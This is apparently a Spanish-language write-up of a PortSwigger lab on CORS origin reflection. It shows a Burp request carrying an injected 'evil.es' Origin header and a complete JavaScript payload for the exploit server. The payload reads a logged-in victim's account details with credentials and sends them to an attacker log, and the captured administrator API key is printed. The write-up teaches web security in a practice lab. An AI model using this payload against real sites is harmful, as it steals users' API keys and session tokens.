PortSwigger - CORS vulnerability with basic origin reflection
Primero veremos una pagina web en la que tendremos que loguearnos con las credenciales que nos proporcionan:
User: wiener
Pass: peter
Una vez dentro veremos lo siguiente:

Ahora si nos vamos al HTTP History
de BurpSuite
veremos lo siguiente:

En esta parte de aqui, si nos vamos a la respuesta del servidor, veremos lo siguiente:

Vemos que está esta linea:
Access-Control-Allow-Credentials: true
Por lo que ya nos esta dando una pista de que se puede inyectar un Origin:
en la cabecera de la peticion, vamos a probarlo haciendo lo siguiente, pero antes lo enviaremos al Repeater
para hacer nuestras pruebas con Ctrl+R
:
GET /accountDetails HTTP/2
Host: 0ac200ae03914ae783adeb10005b0068.web-security-academy.net
Cookie: session=cqk6PNNi2yuPlScrp8epStylUJ6NSM5Q
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Origin: http://evil.es
Tiene que quedar algo asi como se muestra en lo anterior, ahora si lo enviamos y vemos la respuesta del servidor, veremos algo asi:

Vemos que esta funcionando, por que estamos viendo lo siguiente:
Access-Control-Allow-Origin: http://evil.es
Access-Control-Allow-Credentials: true
Por lo que esta confiando en el link que le estamos inyectando en el Origin
, ahora vamos a darle al boton llamado Go to exploit server
para emular nuestro servidor atacante y realizar el exploit
contra el usuario victima que este logueado, veremos este apartado:

En la parte de Body
tendremos que meter el payload
para poder capturar la informacion del usuario y obtener el TOKEN
del mismo, vamos a poner lo siguiente:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<PETICION_VULNERABLE>',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Ahora vamos a obtener la peticion
vulnerable donde llevamos al repeater
antes con BurpSuite
copiandola, para asi insertarla ahi en ese payload
y poder capturar el TOKEN
del usuario que este logueado.

Y veremos algo asi:
URL = https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/accountDetails
Esto lo meteremos en nuestro payload
y tendremos que tener algo asi:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Ahora para probar el exploit
le daremos a Store
y despues Deliver exploit to victim
y nos vamos a los logs
dandole a Access log
, con esto veremos lo siguiente:

Veremos que hay un /log?key=
que tiene el nombre de administrador
por lo que vemos ha funcionado, vamos a obtener el valor entero que sera este:
/log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk%22,%20%20%22sessions%22:%20[%20%20%20%20%22jyoMkcVXMOZ22RmElbHuQBqps91se3Rf%22%20%20]}
Ahora lo decodificaremos y veremos lo siguiente:
{ "username": "administrator", "email": "", "apikey": "cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk", "sessions": [ "jyoMkcVXMOZ22RmElbHuQBqps91se3Rf" ]}
Vemos que el APIKey
del usuario administrador
es:
cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk
Ahora para validarlo le daremos a Submit Solution
e introducimos ese APIKey
con esto ya habremos terminado el LAB
.

Last updated